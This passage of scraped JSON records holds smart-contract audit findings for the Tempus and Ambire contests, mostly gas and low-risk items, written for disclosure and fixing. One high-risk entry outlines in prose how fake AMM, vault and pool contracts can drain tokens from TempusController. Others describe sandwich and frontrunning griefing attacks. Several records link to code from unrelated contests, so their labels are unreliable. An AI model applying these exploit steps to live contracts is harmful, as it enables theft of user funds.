"https://github.com/code-423n4/2021-10-tempus-findings/issues/45", "labels": ["bug", "sponsor confirmed", "G (Gas Optimization)", "resolved"], "target": "2021-10-tempus-findings", "body": "# Handle pants # Vulnerability details These `public` functions are never called by their contract: - `TempusAMM.getSwapAmountToEndWithEqualShares()` - `TempusAMM.getRate()` - `AaveTempusPool.currentInterestRate()` - `AaveTempusPool.numAssetsPerYieldToken()` - `AaveTempusPool.numYieldTokensPerAsset()` - `CompoundTempusPool.currentInterestRate()` - `CompoundTempusPool.numAssetsPerYieldToken()` - `CompoundTempusPool.numYieldTokensPerAsset()` - `LidoTempusPool.currentInterestRate()` - `LidoTempusPool.numAssetsPerYieldToken()` - `LidoTempusPool.numYieldTokensPerAsset()` - `ERC20FixedSupply.decimals()` - `ERC20OwnerMintableToken.burn()` - `ERC20OwnerMintableToken.burnFrom()` - `PoolShare.decimals()` - `PermanentlyOwnable.renounceOwnership()` - `TempusController.depositYieldBearing()` - `TempusController.depositBacking()` - `TempusController.redeemToYieldBearing()` - `TempusController.redeemToBacking()` - `TempusPool.estimatedMintedShares()` - `TempusPool.estimatedRedeem()` Therefore, their visibility can be reduced to `external`. ## Impact `external` functions are cheaper than `public` functions. ## Proof of Concept https://gus-tavo-guim.medium.com/public-vs-external-functions-in-solidity-b46bcf0ba3ac ## Tool Used Manual code review. ## Recommended Mitigation Steps Define these functions as `external`. "}, {"title": "Prefix increaments are cheaper than postfix increaments", "html_url": "https://github.com/code-423n4/2021-10-tempus-findings/issues/40", "labels": ["bug", "sponsor acknowledged", "G (Gas Optimization)"], "target": "2021-10-tempus-findings", "body": "Prefix increaments are cheaper than postfix increaments"}, {"title": "Open TODOs", "html_url": "https://github.com/code-423n4/2021-10-tempus-findings/issues/39", "labels": ["bug", "sponsor confirmed", "1 (Low Risk)", "resolved"], "target": "2021-10-tempus-findings", "body": "# Handle ye0lde # Vulnerability details # Vulnerability details ## Impact Open TODOs can point to architecture or programming issues that still need to be resolved. ## Proof of Concept The TODO is here: https://github.com/code-423n4/2022-01-timeswap/blob/bf50d2a8bb93a5571f35f96bd74af54d9c92a210/Timeswap/Timeswap-V1-Convenience/contracts/libraries/NFTTokenURIScaffold.sol#L87 ## Tools Used VS Code ## Recommended Mitigation Steps Consider resolving the TODO before deploying. "}, {"title": "Use of uint8 for counter in for loop increases gas costs", "html_url": "https://github.com/code-423n4/2021-10-tempus-findings/issues/38", "labels": ["bug", "sponsor confirmed", "G (Gas Optimization)", "resolved"], "target": "2021-10-tempus-findings", "body": "# Handle pants # Vulnerability details On L158 of swap.sol, you use a uint8 as the for loop variable: Due to how the EVM natively works on 256 numbers, using a 8 bit number here introduces additional costs as the EVM has to properly enforce the limits of this smaller type. See the warning at this link: https://docs.soliditylang.org/en/v0.8.0/internals/layout_in_storage.html#layout-of-state-variables-in-storage "}, {"title": "getAMMOrderedAmounts and _exitTempusAmmAndRedeem functions use explicit token comparison for ordering instead of relying on Balancer's PoolTokens", "html_url": "https://github.com/code-423n4/2021-10-tempus-findings/issues/37", "labels": ["bug", "sponsor confirmed", "0 (Non-critical)", "resolved"], "target": "2021-10-tempus-findings", "body": "# Handle hyh # Vulnerability details ## Vulnerability Details getAMMOrderedAmounts, https://github.com/code-423n4/2021-10-tempus/blob/main/contracts/TempusController.sol#L692, and _exitTempusAmmAndRedeem, https://github.com/code-423n4/2021-10-tempus/blob/main/contracts/TempusController.sol#L644, functions use explicit token comparison for ordering, while it is based on current Balancer pool implementation, which can change, leading to contract logic discrepancies. In the same time _getAMMDetailsAndEnsureInitialized (https://github.com/code-423n4/2021-10-tempus/blob/main/contracts/TempusController.sol#L673) do rely on PoolTokens, which obtain token list in Balancer's call sequence as follows: PoolTokens._getPoolTokens -> TwoTokenPoolsBalance._getTwoTokenPoolTokens -> TwoTokenPoolsBalance._getTwoTokenPoolBalances -> TwoTokenPoolsBalance._twoTokenPoolTokens[]. TwoTokenPoolsBalance._twoTokenPoolTokens[] is ordered during _registerTwoTokenPoolTokens, but this is current implementation. It is safer to use vault.getPoolTokens(poolId) in getAMMOrderedAmounts to obtain an ordered pair. This can matter as AMM token usage isn't symmetric (https://github.com/code-423n4/2021-10-tempus/blob/main/contracts/TempusController.sol#L84). ## Impact Probability here is low and risk rating is minimal, but the impact can vary as TempusController contract logic rely on token ordering. "}, {"title": "for loop with _TOTAL_TOKENS", "html_url": "https://github.com/code-423n4/2021-10-tempus-findings/issues/36", "labels": ["bug", "sponsor confirmed", "G (Gas Optimization)", "resolved"], "target": "2021-10-tempus-findings", "body": "# Handle pauliax # Vulnerability details ## Impact The loop here is not really necessary as _TOTAL_TOKENS is a constant of 2 so there is always just 1 iteration: for (uint256 i = 1; i < _TOTAL_TOKENS; ++i) { uint256 currentBalance = balances[i]; if (currentBalance > maxBalance) { chosenTokenIndex = i; maxBalance = currentBalance; } } ## Recommended Mitigation Steps Consider if you want to reduce gas usage by eliminating this loop here but taking the risk that _TOTAL_TOKENS will not be updated to a different value. "}, {"title": "Unused imports", "html_url": "https://github.com/code-423n4/2021-10-tempus-findings/issues/33", "labels": ["bug", "sponsor confirmed", "G (Gas Optimization)", "resolved"], "target": "2021-10-tempus-findings", "body": "Unused imports"}, {"title": "Lack of validation for Maturity Date", "html_url": "https://github.com/code-423n4/2021-10-tempus-findings/issues/32", "labels": ["bug", "sponsor disputed", "disagree with severity", "0 (Non-critical)"], "target": "2021-10-tempus-findings", "body": "Lack of validation for Maturity Date"}, {"title": "Cache array length in for loops can save gas", "html_url": "https://github.com/code-423n4/2021-10-tempus-findings/issues/31", "labels": ["bug", "sponsor acknowledged", "G (Gas Optimization)"], "target": "2021-10-tempus-findings", "body": "Cache array length in for loops can save gas"}, {"title": "Adding unchecked directive can save gas", "html_url": "https://github.com/code-423n4/2021-10-tempus-findings/issues/30", "labels": ["bug", "sponsor confirmed", "G (Gas Optimization)", "resolved"], "target": "2021-10-tempus-findings", "body": "Adding unchecked directive can save gas"}, {"title": "Typos", "html_url": "https://github.com/code-423n4/2021-10-tempus-findings/issues/29", "labels": ["bug", "sponsor confirmed", "0 (Non-critical)", "resolved"], "target": "2021-10-tempus-findings", "body": "# Handle ye0lde # Vulnerability details ## Impact Typos ## Proof of Concept The typos are here: `vaulId` https://github.com/code-423n4/2022-01-yield/blob/e946f40239b33812e54fafc700eb2298df1a2579/contracts/ConvexModule.sol#L14 https://github.com/code-423n4/2022-01-yield/blob/e946f40239b33812e54fafc700eb2298df1a2579/contracts/ConvexModule.sol#L25 ## Tools Used VS Code ## Recommended Mitigation Steps Correct the typos "}, {"title": "Long Revert Strings", "html_url": "https://github.com/code-423n4/2021-10-tempus-findings/issues/28", "labels": ["bug", "sponsor acknowledged", "G (Gas Optimization)"], "target": "2021-10-tempus-findings", "body": "# Handle ye0lde # Vulnerability details ## Impact Shortening revert strings to fit in 32 bytes will decrease deployment time gas and will decrease runtime gas when the revert condition has been met. Revert strings that are longer than 32 bytes require at least one additional mstore, along with additional overhead for computing memory offset, etc. ## Proof of Concept Revert strings > 32 bytes are here: https://github.com/code-423n4/2021-11-bootfinance/blob/7c457b2b5ba6b2c887dafdf7428fd577e405d652/customswap/contracts/Swap.sol#L149-L150 https://github.com/code-423n4/2021-11-bootfinance/blob/7c457b2b5ba6b2c887dafdf7428fd577e405d652/customswap/contracts/SwapUtils.sol#L1625 https://github.com/code-423n4/2021-11-bootfinance/blob/7c457b2b5ba6b2c887dafdf7428fd577e405d652/customswap/contracts/SwapUtils.sol#L1679 https://github.com/code-423n4/2021-11-bootfinance/blob/7c457b2b5ba6b2c887dafdf7428fd577e405d652/vesting/contracts/Vesting.sol#L105 https://github.com/code-423n4/2021-11-bootfinance/blob/7c457b2b5ba6b2c887dafdf7428fd577e405d652/vesting/contracts/Vesting.sol#L194-L197 https://github.com/code-423n4/2021-11-bootfinance/blob/7c457b2b5ba6b2c887dafdf7428fd577e405d652/tge/contracts/PublicSale.sol#L152 https://github.com/code-423n4/2021-11-bootfinance/blob/7c457b2b5ba6b2c887dafdf7428fd577e405d652/tge/contracts/PublicSale.sol#L162 ## Tools Used Visual Studio Code ## Recommended Mitigation Steps Shorten the revert strings to fit in 32 bytes. "}, {"title": "Gas: `ERC20OwnerMintableToken.burn` should use caller", "html_url": "https://github.com/code-423n4/2021-10-tempus-findings/issues/27", "labels": ["bug", "sponsor disputed", "G (Gas Optimization)"], "target": "2021-10-tempus-findings", "body": "Gas: `ERC20OwnerMintableToken.burn` should use caller"}, {"title": "Gas: Don't store cToken twice", "html_url": "https://github.com/code-423n4/2021-10-tempus-findings/issues/26", "labels": ["bug", "sponsor confirmed", "G (Gas Optimization)", "resolved"], "target": "2021-10-tempus-findings", "body": "# Handle cmichel # Vulnerability details In `CompoundTempusPool`, the `cToken` and the base class' `yieldBearingToken` storage fields are the same. Remove the `cToken` field and the assignment in the constructor to save gas. "}, {"title": "`_setAmplificationData` should clear upper bits of values", "html_url": "https://github.com/code-423n4/2021-10-tempus-findings/issues/25", "labels": ["bug", "sponsor disputed", "0 (Non-critical)"], "target": "2021-10-tempus-findings", "body": "`_setAmplificationData` should clear upper bits of values"}, {"title": "`transferFees` may not be the contract itself", "html_url": "https://github.com/code-423n4/2021-10-tempus-findings/issues/24", "labels": ["bug", "sponsor acknowledged", "disagree with severity", "0 (Non-critical)"], "target": "2021-10-tempus-findings", "body": "`transferFees` may not be the contract itself"}, {"title": "No `swap` slippage checks", "html_url": "https://github.com/code-423n4/2021-10-tempus-findings/issues/23", "labels": ["bug", "sponsor confirmed", "1 (Low Risk)", "resolved"], "target": "2021-10-tempus-findings", "body": "# Handle cmichel # Vulnerability details The (second) `TempusController._exitTempusAmmAndRedeem` function swaps the difference of yield and principal shares using the AMM. ```solidity swap( tempusAMM, tempusAMM.getSwapAmountToEndWithEqualShares(principals, yields, maxLeftoverShares), tokenIn, tokenOut, 0 // @audit min return of zero ); // yields and principals are updated to the received amounts and redeemed // ... ``` It does not use a min return value for this swap and it is, therefore, susceptible to sandwich attacks. > A common attack in DeFi is the sandwich attack. Upon observing a trade of asset X for asset Y, an attacker frontruns the victim trade by also buying asset Y, lets the victim execute the trade, and then backruns (executes after) the victim by trading back the amount gained in the first trade. Intuitively, one uses the knowledge that someone\u2019s going to buy an asset, and that this trade will increase its price, to make a profit. The attacker\u2019s plan is to buy this asset cheap, let the victim buy at an increased price, and then sell the received amount again at a higher price afterwards. ## Impact Trades can happen at a bad price and lead to receiving fewer tokens than at a fair market price. The attacker's profit is the user's loss. ## Recommended Mitigation Steps Add minimum return amount checks. Accept a function parameter that can be chosen by the transaction sender, then check that the actually received amount is above this parameter. Similar to `minLpAmountsOut` but for the yields & principal shares (or the redeemed tokens). "}, {"title": "`exitTempusAMM` can be made to fail", "html_url": "https://github.com/code-423n4/2021-10-tempus-findings/issues/21", "labels": ["bug", "sponsor confirmed", "2 (Med Risk)", "resolved"], "target": "2021-10-tempus-findings", "body": "# Handle cmichel # Vulnerability details There's a griefing attack where an attacker can make any user transaction for `TempusController.exitTempusAMM` fail. In `_exitTempusAMM`, the user exits their LP position and claims back yield and principal shares. The LP amounts to redeem are determined by the function parameter `lpTokensAmount`. A final `assert(tempusAMM.balanceOf(address(this)) == 0)` statement checks that the LP token amount of the contract is zero after the exit. This is only true if no other LP shares were already in the contract. However, an attacker can frontrun this call and send the smallest unit of LP shares to the contract which then makes the original deposit-and-fix transaction fail. ## Impact All `exitTempusAMM` calls can be made to fail and this function becomes unusable. ## Recommended Mitigation Steps Remove the `assert` check. "}, {"title": "`depositAndFix` can be made to fail", "html_url": "https://github.com/code-423n4/2021-10-tempus-findings/issues/20", "labels": ["bug", "sponsor confirmed", "2 (Med Risk)", "resolved"], "target": "2021-10-tempus-findings", "body": "# Handle cmichel # Vulnerability details There's a griefing attack where an attacker can make any user transaction for `TempusController.depositAndFix` fail. In `_depositAndFix`, `swapAmount` many yield shares are swapped to principal where `swapAmount` is derived from the function arguments. A final `assert(yieldShares.balanceOf(address(this)) == 0)` statement checks that the yield shares of the contract are zero after the swap. This is only true if no other yield shares were already in the contract. However, an attacker can frontrun this call and send the smallest unit of yield shares to the contract which then makes the original deposit-and-fix transaction fail. ## Impact All `depositAndFix` calls can be made to fail and this function becomes unusable. ## Recommended Mitigation Steps Remove the `assert` check. "}, {"title": "TempusAMM freezing all actions except proportional exit on maturity seems unnecessary", "html_url": "https://github.com/code-423n4/2021-10-tempus-findings/issues/18", "labels": ["bug", "sponsor confirmed", "G (Gas Optimization)", "resolved"], "target": "2021-10-tempus-findings", "body": "# Handle TomFrench # Vulnerability details ## Impact Reduced flexibility of AMM + additional gas costs on swaps ## Proof of Concept As the relative payouts of the principal and yield tokens are fixed at the point of finalisation, there's no need to freeze the AMM as it will just rapidly be arbed to the final prices of each token. No funds will be lost by LPs. Making this change would reduce gas costs as swaps won't have to check maturity (load the TempusPool then perform SLOAD for maturity state variable). ## Recommended Mitigation Steps Remove `beforeMaturity` modifier from AMM. "}, {"title": "Inheritance from BaseGeneralPool is unused", "html_url": "https://github.com/code-423n4/2021-10-tempus-findings/issues/17", "labels": ["bug", "sponsor confirmed", "G (Gas Optimization)", "resolved"], "target": "2021-10-tempus-findings", "body": "# Handle TomFrench # Vulnerability details ## Impact ## Proof of Concept As the `TempusAmm` only ever registers with the Balancer Vault with the two token specialization the `GeneralPool` interface will never be used as the Vault will call the `MinimalSwapInfoPool` hooks instead. https://github.com/code-423n4/2021-10-tempus/blob/63f7639aad08f2bba717830ed81e0649f7fc23ee/contracts/amm/TempusAMM.sol#L107-L110 See here in the Balancer Vault code: https://github.com/balancer-labs/balancer-v2-monorepo/blob/62c5cba7cae1d481f913c90fe0d9d94e101570c5/pkg/vault/contracts/Swaps.sol#L287-L292 ## Recommended Mitigation Steps Remove the inheritance from `BaseGeneralPool` and remove the functions highlighted in the link below. This will help reduce bytecode from the AMM factory and reduce deployment costs. https://github.com/code-423n4/2021-10-tempus/blob/63f7639aad08f2bba717830ed81e0649f7fc23ee/contracts/amm/TempusAMM.sol#L283-L309 "}, {"title": "Repeated token transfers on deposits are unnecessary", "html_url": "https://github.com/code-423n4/2021-10-tempus-findings/issues/16", "labels": ["bug", "sponsor confirmed", "G (Gas Optimization)", "resolved"], "target": "2021-10-tempus-findings", "body": "# Handle TomFrench # Vulnerability details ## Impact Higher gas costs on transfers of tokens from user to TempusPool ## Proof of Concept Following the flow of tokens from the user to their the `TempusPool contract`: 1. User calls `TempusController.depositBacking`, `TempusController` transfers user's tokens to itself and approves relevant `TempusPool` https://github.com/code-423n4/2021-10-tempus/blob/63f7639aad08f2bba717830ed81e0649f7fc23ee/contracts/TempusController.sol#L412-L414 2. `TempusController` calls `TempusPool.deposit` which in turn transfers tokens from the `TempusController` and then invests them. https://github.com/code-423n4/2021-10-tempus/blob/63f7639aad08f2bba717830ed81e0649f7fc23ee/contracts/TempusPool.sol#L178 This first transfer is then superfluous as the `TempusPool` trusts the `TempusController` (it's the only contract which may call `deposit`). We're then incurring the costs of 1 `transfer` and 1 `approve` unnecessarily. ## Recommended Mitigation Steps As `TempusPool` trusts `TempusController`, `TempusController` can transfer the tokens directly to `TempusPool` and just tell it how much has been deposited. L412-L414 of `TempusController.sol` would then be replaced with: ``` // Deposit to directly to targetPool uint transferredYBT = yieldBearingToken.untrustedTransferFrom(msg.sender, targetPool, yieldTokenAmount); ``` "}, {"title": "Use of `matured` storage variable is unnecessary", "html_url": "https://github.com/code-423n4/2021-10-tempus-findings/issues/15", "labels": ["bug", "sponsor confirmed", "G (Gas Optimization)", "resolved"], "target": "2021-10-tempus-findings", "body": "# Handle TomFrench # Vulnerability details ## Impact Increased gas costs on several `TempusPool` functions ## Proof of Concept `TempusPool`s have a `finalize` function which checks whether `block.timestamp >= maturityTime` and flips the `maturity` storage variable as well as setting `maturityInterestRate` to the current interest rate. https://github.com/tempus-finance/tempus-protocol/blob/0240b4d172d7aa093a70e0401f4140c99aa30dc6/contracts/TempusPool.sol#L126-L135 `maturity` is used in several places to check whether the pool has expired however checking this variable is more expensive than checking `block.timestamp >= maturityTime` (due to the need for a SLOAD whereas `maturityTime` is immutable so no SLOAD is needed). I'd recommend making a `function matured() public view` to keep the readability. However `maturityInterestRate` still needs to be set correctly. This could be done by reading the current interest rate when `matured()` returns true but `maturityInterestRate == 0` this could cause issues with some functions which are currently view functions however. ## Recommended Mitigation Steps Half solution: Replace `matured` state variable with a `matured()` view function which returns `maturityInterestRate > 0`. This removes an SSTORE from `finalize` and an `SLOAD` from any function which uses `maturityInterestRate` as you can just check if it's greater than zero to see if the pool has matured. Full solution: Replace `matured` state variable with a `matured()` view function which returns `block.timestamp >= maturityTime`. This combined with setting `maturityInterestRate` when you see that `matured() == true` and `maturityInterestRate == 0` would remove the need for the `finalize` function entirely. "}, {"title": "Aave/Compound pools result in liquidity mining returns being lost", "html_url": "https://github.com/code-423n4/2021-10-tempus-findings/issues/14", "labels": ["bug", "0 (Non-critical)"], "target": "2021-10-tempus-findings", "body": "Aave/Compound pools result in liquidity mining returns being lost"}, {"title": "cToken funds are locked if Compound's exchange rate is 0", "html_url": "https://github.com/code-423n4/2021-10-tempus-findings/issues/13", "labels": ["bug", "sponsor disputed", "0 (Non-critical)"], "target": "2021-10-tempus-findings", "body": "cToken funds are locked if Compound's exchange rate is 0"}, {"title": "Param `initInterestRate` in `TempusPool::constructor` should not be 0", "html_url": "https://github.com/code-423n4/2021-10-tempus-findings/issues/12", "labels": ["bug", "sponsor confirmed", "1 (Low Risk)", "resolved"], "target": "2021-10-tempus-findings", "body": "# Handle pmerkleplant # Vulnerability details ## Impact If `initInterestRate` in the `TempusPool`'s constructor is given as 0, no funds can be withdrawn as `getRedemptionAmounts()` always panic errors with _division by 0_ ([link](https://github.com/code-423n4/2021-10-tempus/blob/main/contracts/TempusPool.sol#L305)). ## Recommended Mitigation Steps It should be stated in the constructor's specs that `initInterestRate` should not be 0. "}, {"title": "Make `protocolName` variables in protocol pools constant", "html_url": "https://github.com/code-423n4/2021-10-tempus-findings/issues/11", "labels": ["bug", "sponsor confirmed", "G (Gas Optimization)", "resolved"], "target": "2021-10-tempus-findings", "body": "# Handle pmerkleplant # Vulnerability details ## Impact The `protocolName` variables in the protocol-specific `TempusPool`s are set as _immutable_ but could be set as _constant_. See [Compound](https://github.com/code-423n4/2021-10-tempus/blob/main/contracts/pools/CompoundTempusPool.sol#L19), [Aave](https://github.com/code-423n4/2021-10-tempus/blob/main/contracts/pools/AaveTempusPool.sol#L18), [Lido](https://github.com/code-423n4/2021-10-tempus/blob/main/contracts/pools/LidoTempusPool.sol#L9). "}, {"title": "Steal tokens from TempusController", "html_url": "https://github.com/code-423n4/2021-10-tempus-findings/issues/10", "labels": ["bug", "sponsor confirmed", "disagree with severity", "3 (High Risk)", "resolved"], "target": "2021-10-tempus-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact The function _depositAndProvideLiquidity can be used go retrieve arbitrary ERC20 tokens from the TempusController.sol contract. As the test contract of TempusController.sol https://goerli.etherscan.io/address/0xd4330638b87f97ec1605d7ec7d67ea1de5dd7aaa shows, it has indeed ERC20 tokens. The problem is due to the fact that you supply an arbitrary tempusAMM to depositAndProvideLiquidity and thus to _depositAndProvideLiquidity. tempusAMM could be a fake contract that supplies values that are completely fake. At the end of the function _depositAndProvideLiquidity, ERC20 tokens are send to the user. If you can manipulate the variables ammTokens, mintedShares and sharesUsed you can send back any tokens held in the contract \"ammTokens[0].safeTransfer(msg.sender, mintedShares - sharesUsed[0]);\" The Proof of Concept shows an approach to do this. ## Proof of Concept https://github.com/code-423n4/2021-10-tempus/blob/63f7639aad08f2bba717830ed81e0649f7fc23ee/contracts/TempusController.sol#L73-L79 https://github.com/code-423n4/2021-10-tempus/blob/63f7639aad08f2bba717830ed81e0649f7fc23ee/contracts/TempusController.sol#L304-L335 Create a fake Vault contract (fakeVault) with the following functions: fakeVault.getPoolTokens(poolId) --> returns {TokenToSteal1,TokenToSteal2},{fakeBalance1,fakeBalance2},0 fakeVault.JoinPoolRequest() --> do nothing fakeVault.joinPool() --> do nothing Create a fake Pool contract (fakePool) with the following functions: fakePool.yieldBearingToken() --> returns fakeYieldBearingToken fakePool.deposit() --> returns fakeMintedShares,.... Create a fake ammTokens contract with the following functions: tempusAMM.getVault() --> returns fakeVault tempusAMM.getPoolId() --> returns 0 tempusAMM.tempusPool() --> returns fakePool call depositAndProvideLiquidity(fakeTempusAMM,1,false) // false -> yieldBearingToken _getAMMDetailsAndEnsureInitialized returns fakeVault,0, {token1,token2},{balance1,balance2} _deposit(fakePool,1,false) calls _depositYieldBearing which calls fakePool.deposit() and returns fakeMintedShares _provideLiquidity(...) calculates a vale of ammLiquidityProvisionAmounts _provideLiquidity(...) skips the safeTransferFrom because sender == address(this)) the calls to fakeVault.JoinPoolRequest() and fakeVault.joinPool() can be faked. _provideLiquidity(...) returns the value ammLiquidityProvisionAmounts Now fakeMintedShares - ammLiquidityProvisionAmounts number of TokenToSteal1 and TokenToSteal2 are transferred to msg.sender As you can both manipulate TokenToSteal1 and fakeMintedShares, you can transfer any token to msg.sender ## Tools Used ## Recommended Mitigation Steps Create a whitelist for tempusAMMs "}, {"title": "PermanentlyOwnable does not prevent transferring ownership to a dead address.", "html_url": "https://github.com/code-423n4/2021-10-tempus-findings/issues/9", "labels": ["bug", "sponsor confirmed", "1 (Low Risk)", "resolved"], "target": "2021-10-tempus-findings", "body": "# Handle chenyu # Vulnerability details ## Impact [PermanentlyOwnable](https://github.com/code-423n4/2021-10-tempus/blob/main/contracts/utils/PermanentlyOwnable.sol) does not prevent transferring to a dead address. It's possible to have a human error that transfers the contract ownership to a address not owned by the old owner. ## Recommended Mitigation Steps Recommend a two step transfer that owner nominates an account, then the nominated account call an accept function to ensure the nominated account is valid. "}, {"title": "Manipulating updateInterestRate() in Tempus Pools to mint more Principal and Yield Tokens Than They Should", "html_url": "https://github.com/code-423n4/2021-10-tempus-findings/issues/8", "labels": ["bug", "sponsor disputed", "0 (Non-critical)"], "target": "2021-10-tempus-findings", "body": "Manipulating updateInterestRate() in Tempus Pools to mint more Principal and Yield Tokens Than They Should"}, {"title": "Scaling factors for token 0/1 might swap in TempusAMM constructor.", "html_url": "https://github.com/code-423n4/2021-10-tempus-findings/issues/7", "labels": ["bug", "sponsor confirmed", "1 (Low Risk)", "resolved"], "target": "2021-10-tempus-findings", "body": "# Handle chenyu # Vulnerability details ## Impact In TempusAMM constructor [L138](https://github.com/code-423n4/2021-10-tempus/blob/63f7639aad08f2bba717830ed81e0649f7fc23ee/contracts/amm/TempusAMM.sol#L138), the scaling factor 0 always maps to yieldShare, and scaling factor 1 always maps to principalShare, even though in L134 the two token might swap if principalShare < yieldShare, which makes _token0 = principalShare and _token1 = yieldShare, but scaling factor 0 is based on yieldShare. Later [_scalingFactor](https://github.com/code-423n4/2021-10-tempus/blob/63f7639aad08f2bba717830ed81e0649f7fc23ee/contracts/amm/TempusAMM.sol#L802) is based on _token0, so it might get the wrong scaling factor if principalShare and yieldShare had swapped. ## Recommended Mitigation Steps Update the lines to ``` _scalingFactor0 = _computeScalingFactor(IERC20(address(_token0))); _scalingFactor1 = _computeScalingFactor(IERC20(address(_token1))); ``` "}, {"title": "No zero address check for controller in TempusPool", "html_url": "https://github.com/code-423n4/2021-10-tempus-findings/issues/6", "labels": ["bug", "sponsor confirmed", "disagree with severity", "0 (Non-critical)", "resolved"], "target": "2021-10-tempus-findings", "body": "# Handle loop # Vulnerability details TempusPool needs to be initialized with a valid and existing controller. When initializing a pool `address controller` is passed to the constructor of a pool implementation. This `address` is then passed as `address ctrl` to the TempusPool constructor where it is set to the immutable `address controller`. If a pool accidentally gets initialized with the zero address passed to the constructor there is no way to change it and the pool needs to be reinitialized. ## Proof of Concept https://github.com/code-423n4/2021-10-tempus/blob/main/contracts/TempusPool.sol#L66-L100 ## Recommended Mitigation Steps Add something along the lines of `require(ctrl != address(0), \"controller can not be zero` to avoid potential invalid pool initializations. "}, {"title": "Improper Access Control", "html_url": "https://github.com/code-423n4/2021-10-tempus-findings/issues/5", "labels": ["bug", "sponsor disputed", "disagree with severity", "0 (Non-critical)"], "target": "2021-10-tempus-findings", "body": "# Lines of code https://github.com/code-423n4/2022-04-dualityfocus/blob/f21ef7708c9335ee1996142e2581cb8714a525c9/contracts/compound_rari_fork/CToken.sol#L1641 # Vulnerability details ## Impact In the referenced code this line, `require(msg.sender != admin, \"caller not admin\");` is meant to prevent non-admins from calling the function however it instead prevents admins from calling the function and allows anyone else to. This could lead to defacing the token i.e changing the name to something offensive like Shit Token, Poo Coin, etc. ## Recommended Mitigation Steps Adjust the require statement to reflect it's intended function i.e ` require(msg.sender == admin, \"caller not admin\");` "}, {"title": "Named Return Issues", "html_url": "https://github.com/code-423n4/2021-10-tempus-findings/issues/4", "labels": ["bug", "sponsor confirmed", "G (Gas Optimization)", "resolved"], "target": "2021-10-tempus-findings", "body": "# Handle ye0lde # Vulnerability details ## Impact Removing unused named return variables can reduce gas usage and improve code clarity. ## Proof of Concept AaveTempusPool.sol: Unused named return https://github.com/code-423n4/2021-10-tempus/blob/63f7639aad08f2bba717830ed81e0649f7fc23ee/contracts/pools/AaveTempusPool.sol#L74 LidoTempusPool.sol: Unused named return https://github.com/code-423n4/2021-10-tempus/blob/63f7639aad08f2bba717830ed81e0649f7fc23ee/contracts/pools/LidoTempusPool.sol#L59 TempusAMM.sol: Unneeded return https://github.com/code-423n4/2021-10-tempus/blob/63f7639aad08f2bba717830ed81e0649f7fc23ee/contracts/amm/TempusAMM.sol#L533 ## Tools Used Visual Studio Code, Remix ## Recommended Mitigation Steps Remove the unused named return variables or return. "}, {"title": "Hex selector", "html_url": "https://github.com/code-423n4/2021-10-ambire-findings/issues/66", "labels": ["bug", "sponsor acknowledged", "0 (Non-critical)", "resolved"], "target": "2021-10-ambire-findings", "body": "Hex selector"}, {"title": "Only prepare tx when the fee is present", "html_url": "https://github.com/code-423n4/2021-10-ambire-findings/issues/65", "labels": ["bug", "sponsor acknowledged", "G (Gas Optimization)", "resolved"], "target": "2021-10-ambire-findings", "body": "Only prepare tx when the fee is present"}, {"title": "LibBytes uses itself", "html_url": "https://github.com/code-423n4/2021-10-ambire-findings/issues/58", "labels": ["bug", "sponsor confirmed", "G (Gas Optimization)", "resolved"], "target": "2021-10-ambire-findings", "body": "# Handle pauliax # Vulnerability details ## Impact I don't think it's necessary for the library to use itself here: library LibBytes { using LibBytes for bytes; ## Recommended Mitigation Steps Remove this 'using' statement as it does not give anything in this case. "}, {"title": "Duplicate math operations", "html_url": "https://github.com/code-423n4/2021-10-ambire-findings/issues/57", "labels": ["bug", "sponsor confirmed", "G (Gas Optimization)", "resolved"], "target": "2021-10-ambire-findings", "body": "# Handle pauliax # Vulnerability details ## Impact First perform the addition and only then check the length to avoid this duplicate math operation: require(b.length >= index + 32, \"BytesLib: length\"); // Arrays are prefixed by a 256 bit length parameter index += 32; Or if you want to stay with this approach, then at least consider using the 'unchecked' keyword when this addition is performed the second time as then ready know this can't overflow. Also, in function recoverAddrImpl the same operation is performed twice: sig.length - 33 ## Recommended Mitigation Steps Refactor duplicate math operations. "}, {"title": "ecrecover may return empty address", "html_url": "https://github.com/code-423n4/2021-10-ambire-findings/issues/56", "labels": ["bug", "sponsor confirmed", "1 (Low Risk)", "resolved"], "target": "2021-10-ambire-findings", "body": "# Handle pauliax # Vulnerability details ## Impact There is a common issue that ecrecover returns empty (0x0) address when the signature is invalid. function recoverAddrImpl should check that before returning the result of ecrecover. ## Recommended Mitigation Steps See the solution here: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.4.0/contracts/cryptography/ECDSA.sol#L68 "}, {"title": "block.chainid may change in case of a hardfork", "html_url": "https://github.com/code-423n4/2021-10-ambire-findings/issues/55", "labels": ["bug", "sponsor confirmed", "1 (Low Risk)", "resolved"], "target": "2021-10-ambire-findings", "body": "# Handle pauliax # Vulnerability details ## Impact The 'DOMAIN_SEPARATOR' is not recalculated in the case of a hard fork. The variable DOMAIN_SEPARATOR in contract QuickAccManager is cached in the contract storage and will not change after being initialized. However, if a hard fork happens after the contract deployment, the domain would become invalid on one of the forked chains due to the block.chainid has changed. A similar issue was reported in a previous contest and was assigned a severity of low: https://github.com/code-423n4/2021-06-realitycards-findings/issues/166 ## Recommended Mitigation Steps An elegant solution that you may consider applying is from Sushi Trident: https://github.com/sushiswap/trident/blob/concentrated/contracts/pool/concentrated/TridentNFT.sol#L47-L62 "}, {"title": "Hardcoded WETH", "html_url": "https://github.com/code-423n4/2021-10-ambire-findings/issues/54", "labels": ["bug", "sponsor confirmed", "1 (Low Risk)", "resolved"], "target": "2021-10-ambire-findings", "body": "# Handle pauliax # Vulnerability details ## Impact WETH address is hardcoded but it may differ on other chains, e.g. Polygon, so make sure to check this before deploying and update if neccessary: address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; ## Recommended Mitigation Steps You should consider injecting WETH address via the constructor. "}, {"title": "lack of require message", "html_url": "https://github.com/code-423n4/2021-10-ambire-findings/issues/53", "labels": ["bug", "sponsor confirmed", "0 (Non-critical)", "resolved"], "target": "2021-10-ambire-findings", "body": "lack of require message"}, {"title": "use of floating pragma", "html_url": "https://github.com/code-423n4/2021-10-ambire-findings/issues/51", "labels": ["bug", "sponsor confirmed", "0 (Non-critical)", "resolved"], "target": "2021-10-ambire-findings", "body": "use of floating pragma"}, {"title": "No account existence check for low-level call", "html_url": "https://github.com/code-423n4/2021-10-ambire-findings/issues/48", "labels": ["bug", "invalid", "sponsor disputed", "1 (Low Risk)"], "target": "2021-10-ambire-findings", "body": "No account existence check for low-level call"}, {"title": "Adding unchecked directive can save gas", "html_url": 